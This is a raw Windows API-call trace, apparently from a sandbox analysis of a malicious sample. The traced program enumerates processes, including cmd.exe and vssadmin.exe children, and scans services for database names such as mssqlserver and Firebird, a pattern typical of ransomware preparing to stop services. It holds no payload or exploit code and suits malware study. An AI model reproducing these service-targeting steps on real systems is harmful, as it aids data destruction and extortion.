	[0039.901] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.901] lstrlenW (lpString="svchost.exe") returned 11
	[0039.902] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.902] lstrlenW (lpString="svchost.exe") returned 11
	[0039.902] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.903] lstrlenW (lpString="svchost.exe") returned 11
	[0039.903] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.904] lstrlenW (lpString="svchost.exe") returned 11
	[0039.904] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0039.905] lstrlenW (lpString="audiodg.exe") returned 11
	[0039.905] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.905] lstrlenW (lpString="svchost.exe") returned 11
	[0039.905] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.906] lstrlenW (lpString="svchost.exe") returned 11
	[0039.906] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0039.907] lstrlenW (lpString="dwm.exe") returned 7
	[0039.907] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0039.908] lstrlenW (lpString="explorer.exe") returned 12
	[0039.908] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0039.908] lstrlenW (lpString="spoolsv.exe") returned 11
	[0039.908] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0039.909] lstrlenW (lpString="taskhost.exe") returned 12
	[0039.909] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.910] lstrlenW (lpString="svchost.exe") returned 11
	[0039.910] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0039.911] lstrlenW (lpString="taskeng.exe") returned 11
	[0039.911] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0039.911] lstrlenW (lpString="taskhost.exe") returned 12
	[0039.911] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0039.912] lstrlenW (lpString="program.exe") returned 11
	[0039.912] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0039.913] lstrlenW (lpString="felt.exe") returned 8
	[0039.913] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0039.913] lstrlenW (lpString="bibliography.exe") returned 16
	[0039.913] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0039.914] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0039.914] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0039.915] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0039.915] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0039.916] lstrlenW (lpString="converter.exe") returned 13
	[0039.916] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0039.916] lstrlenW (lpString="once.exe") returned 8
	[0039.916] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0039.917] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0039.917] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0039.918] lstrlenW (lpString="always.exe") returned 10
	[0039.918] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0039.919] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0039.982] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0039.983] lstrlenW (lpString="donated.exe") returned 11
	[0039.983] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0039.984] lstrlenW (lpString="nowherepike.exe") returned 15
	[0039.984] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0039.985] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0039.985] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0039.986] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0039.986] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0039.987] lstrlenW (lpString="allowance.exe") returned 13
	[0039.987] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0039.987] lstrlenW (lpString="conducting affect.exe") returned 21
	[0039.987] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0039.988] lstrlenW (lpString="plaintiff.exe") returned 13
	[0039.988] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0039.989] lstrlenW (lpString="dialog.exe") returned 10
	[0039.989] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0039.990] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0039.990] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0039.990] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0039.990] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0039.991] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0039.991] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0039.992] lstrlenW (lpString="dllhost.exe") returned 11
	[0039.992] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0039.993] lstrlenW (lpString="dllhost.exe") returned 11
	[0039.993] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0039.993] lstrlenW (lpString="swpesp.exe") returned 10
	[0039.993] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0039.994] lstrlenW (lpString="cmd.exe") returned 7
	[0039.994] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0039.995] lstrlenW (lpString="conhost.exe") returned 11
	[0039.995] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0039.996] lstrlenW (lpString="vssadmin.exe") returned 12
	[0039.996] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0039.996] lstrlenW (lpString="VSSVC.exe") returned 9
	[0039.996] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0
	[0039.997] CloseHandle (hObject=0x190) returned 1
	[0039.997] Sleep (dwMilliseconds=0x1f4) 
	[0040.824] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0408
	[0040.825] EnumServicesStatusExW (in: hSCManager=0x35d0408, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0040.825] GetLastError () returned 0xea
	[0040.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x123e) returned 0x36a1308
	[0040.825] EnumServicesStatusExW (in: hSCManager=0x35d0408, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36a1308, cbBufSize=0x123e, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36a1308, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0040.826] CloseServiceHandle (hSCObject=0x35d0408) returned 1
	[0040.826] lstrlenW (lpString="Appinfo") returned 7
	[0040.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0040.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0040.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0040.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0040.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0040.826] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0040.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0040.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0040.826] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0040.826] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0040.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0040.826] lstrlenW (lpString="AudioSrv") returned 8
	[0040.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0040.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0040.827] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0040.827] lstrlenW (lpString="BFE") returned 3
	[0040.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0040.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0040.827] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0040.827] lstrlenW (lpString="CryptSvc") returned 8
	[0040.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0040.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0040.827] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0040.827] lstrlenW (lpString="CscService") returned 10
	[0040.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0040.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0040.827] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0040.827] lstrlenW (lpString="DcomLaunch") returned 10
	[0040.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0040.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0040.827] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0040.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0040.827] lstrlenW (lpString="Dhcp") returned 4
	[0040.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0040.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0040.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0040.828] lstrlenW (lpString="Dnscache") returned 8
	[0040.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0040.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0040.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0040.828] lstrlenW (lpString="DPS") returned 3
	[0040.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0040.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0040.828] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0040.828] lstrlenW (lpString="eventlog") returned 8
	[0040.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0040.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0040.828] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0040.828] lstrlenW (lpString="EventSystem") returned 11
	[0040.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0040.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0040.828] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0040.829] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0040.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0040.829] lstrlenW (lpString="gpsvc") returned 5
	[0040.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0040.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0040.829] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0040.829] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0040.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0040.829] lstrlenW (lpString="iphlpsvc") returned 8
	[0040.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0040.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0040.829] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0040.829] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0040.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0040.829] lstrlenW (lpString="LanmanServer") returned 12
	[0040.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0040.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0040.829] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0040.829] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0040.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0040.829] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0040.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0040.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0040.829] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0040.829] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0040.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0040.830] lstrlenW (lpString="lmhosts") returned 7
	[0040.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0040.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0040.830] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0040.830] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0040.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0040.830] lstrlenW (lpString="MMCSS") returned 5
	[0040.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0040.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0040.830] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0040.830] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0040.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0040.830] lstrlenW (lpString="MpsSvc") returned 6
	[0040.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0040.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0040.830] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0040.830] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0040.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0040.830] lstrlenW (lpString="Netman") returned 6
	[0040.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
